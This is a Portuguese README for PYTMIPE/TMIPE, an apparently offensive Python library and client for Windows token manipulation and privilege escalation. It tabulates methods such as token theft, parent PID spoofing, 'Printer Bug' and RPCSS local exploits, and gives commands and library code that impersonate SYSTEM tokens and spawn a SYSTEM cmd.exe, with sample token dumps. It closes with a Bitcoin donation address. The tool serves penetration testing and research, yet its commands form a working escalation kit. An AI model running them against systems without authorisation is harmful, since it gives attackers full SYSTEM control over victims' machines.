
Biblioteca Python e cliente para manipulações de token e impersonações para elevação de privilégios no Windows
PYTMIPE (biblioteca Python para Manipulação de Tokens e Impersonação para Elevação de Privilégios) é uma biblioteca Python 3 para manipular tokens do Windows e gerenciar impersonações a fim de obter mais privilégios no Windows. TMIPE é o cliente Python 3 que utiliza a biblioteca pytmipe.
Slides "Manipulação de Tokens do Windows, Impersonação e Elevação de Privilégios" (Inglês): link
Artigo no MISC 112 (Francês): link
| Método | Privilégio(s) Necessário(s) | SO (não exaustivo) | Alvo direto (máx.) |
|---|---|---|---|
| Criação e impersonação de token | nome de usuário & senha | Todos | administrador local |
| Impersonação/Roubo de token | SeDebugPrivilege | Todos | nt authority\system |
| Spoofing de PID pai (herança de handle) | SeDebugPrivilege | >= Vista | nt authority\system |
| Serviço (SCM) | Administrador local (e nível de integridade alto se UAC ativado) | Todos | nt authority\system ou conta de domínio |
| Evento WMI | Administrador local (e nível de integridade alto se UAC ativado) | Todos | nt authority\system |
| « Printer Bug » LPE | SeImpersonatePrivilege (conta de serviço) | Windows 8.1, 10 & Server 2012R2/2016/2019 | nt authority\system |
| RPCSS Service LPE | SeImpersonatePrivilege (conta de serviço) | Windows 10 & Server 2016/2019 | nt authority\system |
A lista não exaustiva a seguir mostra alguns recursos implementados na biblioteca pytmipe:
ctypes é usado na maioria das vezes. Muitos recursos do pywin32 foram re-desenvolvidos no pytmipe para evitar o uso de pywin32 para melhor portabilidade. No entanto, o módulo do Agendador de Tarefas ainda utiliza pywin32 (mais precisamente pythoncom) por falta de tempo. Todos os outros módulos usam apenas ctypes.
Para o cliente Python (chamado tmipe):
python.exe tmipe.py -h
usage: tmipe.py [-h] [--version]
{cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}
...
**
888888 8b d8 88 88""Yb 888888
88 88b d88 88 88__dP 88__
88 88YbdP88 88 88""" 88""
88 88 YY 88 88 88 888888
-------------------------------------------
Token Manipulation, Impersonation and
Privilege Escalation (Tool)
-------------------------------------------
By Quentin HARDY ([email protected])
positional arguments:
{cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}
Choose a main command
cangetadmin Check if user can get admin access
printalltokens Print all tokens accessible from current thread
printalltokensbyname
Print all tokens accessible from current thread by account name
printalltokensbypid Print all tokens accessible from current thread by pid
printsystemtokens Print all system tokens accessible from current
searchimpfirstsystem
search and impersonate first system token
imppid impersonate primary token of selected pid and try to spawn cmd.exe
imptoken impersonate primary or impersonation token of selected pid/handle and try to spawn cmd.exe
printerbug exploit the "printer bug" for getting system shell
rpcss exploit "rpcss" for getting system shell
spoof parent PID Spoofing ("handle inheritance)"
impuser create process with creds with impersonation
runas create process with creds as runas
scm create process with Service Control Manager
optional arguments:
-h, --help show this help message and exit
--version show program's version number and exit
Para a biblioteca Python (chamada pytmipe), veja o código-fonte e os exemplos. Normalmente, documentei bem o código-fonte... A maioria das funções está documentada.
Para exemplos de pyinstaller e executáveis autônomos, veja os arquivos na pasta src/examples/.
Se quiser saber como usar a biblioteca pytimpe, veja a pasta src/examples para muitos exemplos.
Para impersonar o primeiro token system e obter um prompt cmd.exe como system a partir do cliente Python (tmipe):
python.exe tmipe.py searchimpfirstsystem -vv
Para fazer a mesma coisa diretamente com a biblioteca pytmipe, veja o arquivo src/examples/searchAndImpersonateFirstSystemToken.py:
from impersonate import Impersonate
from utils import configureLogging
configureLogging()
imp = Impersonate()
imp.searchAndImpersonateFirstSystemToken(targetPID=None, printAllTokens=False)
Isso abrirá um prompt cmd.exe como system se o usuário atual do Windows tiver os direitos necessários.
Claro, a partir deste código-fonte, você pode criar um executável autônomo com pyinstaller.
Para obter tokens primários e de impersonação usados no processo atual:
python.exe tmipe.py printalltokens --current --full --linked
Saída:
- PID: 3212
------------------------------
- PID: 3212
- type: Primary (1)
- token: 764
- hval: None
- ihandle: None
- sid: S-1-5-18
- accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}
- intlvl: System
- owner: S-1-5-32-544
- Groups:
- S-1-5-32-544: {'Name': 'Administrators', 'Domain': 'BUILTIN', 'type': 4} (ENABLED, ENABLED_BY_DEFAULT, OWNER)
- S-1-1-0: {'Name': 'Everyone', 'Domain': '', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)
- S-1-5-11: {'Name': 'Authenticated Users', 'Domain': 'NT AUTHORITY', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)
- S-1-16-16384: {'Name': 'System Mandatory Level', 'Domain': 'Mandatory Label', 'type': 10} (INTEGRITY_ENABLED, INTEGRITY)
- Privileges (User Rights):
- SeAssignPrimaryTokenPrivilege: Enabled
[...]
- SeTrustedCredManAccessPrivilege: Enabled
- issystem: True
- sessionID: 1
- elevationtype: Default (1)
- iselevated: True
- Linked Token: None
- tokensource: b'*SYSTEM*'
- primarysidgroup: S-1-5-18
- isrestricted: False
- hasrestricitions: True
- Default DACL:
- {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0x10000000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-18'}
- {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0xa0020000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-32-544'}
[...]
- Mandatory Policy: NO_WRITE_UP
Para obter todos os tokens acessíveis a partir da thread atual, organizados por pid, apenas quando a impersonação for possível:
python.exe tmipe.py printalltokensbypid --imp-only
Saída:
[...]
- PID 4276:
- S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)
- PID 7252:
- None
- PID 1660:
- S-1-5-21-28624056-3392308708-440876048-1106: DOMAIN\USER (possible imp: True)
- S-1-5-20: NT AUTHORITY\NETWORK SERVICE (possible imp: True)
- S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)
- S-1-5-90-0-1: Window Manager\DWM-1 (possible imp: True)
- S-1-5-19: NT AUTHORITY\LOCAL SERVICE (possible imp: True)
[...]
Se quiser fazer esta operação com a biblioteca pytmipe, também é fácil:
from impersonate import Impersonate
from utils import configureLogging
configureLogging()
imp = Impersonate()
imp.printAllTokensAccessible(targetPID=None, printFull=True, printLinked=True, _useThreadMethod=False)
Você pode impersonar um token selecionado.
Primeiro passo, obter todos os tokens de acordo com seus filtros (tokens system e tokens que podem ser impersonados pela thread atual):
python.exe tmipe.py printalltokens --filter {\"sid\":\"S-1-5-18\",\"canimpersonate\":true}
Saída:
[...]
- PID: 2288
------------------------------
- PID: 2288
- type: Impersonation (2)
- token: 2504
- ihandle: 118
- sid: S-1-5-18
- accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}
- intlvl: System
- owner: S-1-5-18
- issystem: True
- elevationtype: Default (1)
- iselevated: True
- linkedtoken: None
- implevel: Impersonate (2)
- appcontainertoken: False
[...]
- primarysidgroup: S-1-5-18
- isrestricted: False
- hasrestricitions: True
- Mandatory Policy: VALID_MASK
- canimpersonate: True
[...]
Esta saída anterior mostra um token de impersonação localizado no pid 2288 (ihandle 118), que tem um nível de integridade system. É possível impersonar este token específico com o seguinte comando:
python.exe tmipe.py imptoken --pid 2288 --ihandle 118 -vv
Este comando anterior abre um cmd.exe como nt authority\system.
Isso pode ser feito com a biblioteca pytmipe também. O código-fonte a seguir impersona o primeiro token system disponível, imprime o token efetivo e para a impersonação:
from impersonate import Impersonate
from windef import TokenImpersonation
allTokens = imp.getTokensAccessibleFilter(targetPID=None,
filter={'canimpersonate':True, 'sid':'S-1-5-18', 'type':TokenImpersonation},
_useThreadMethod=False)
if allTokens == {} or allTokens==None:
print("No one token found for impersonation")
else:
pid = list(allTokens.keys())[0] #use the first token of the first pid returned in 'allTokens'
firstIHandle = allTokens[pid][0]['ihandle']
imp.printThisToken(allTokens, pid, firstIHandle)
imp.impersonateThisToken(pid=pid, iHandle=firstIHandle)
print("Current Effective token for current thread after impersonation:")
imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)
imp.terminateImpersonation()
print("Current Effective token for current thread (impersonation finished):")
imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)
Se quiser apoiar meu trabalho com uma doação, agradecerei muito:
Via BTC: 36FugL6SnFrFfbVXRPcJATK9GsXEY6mJbf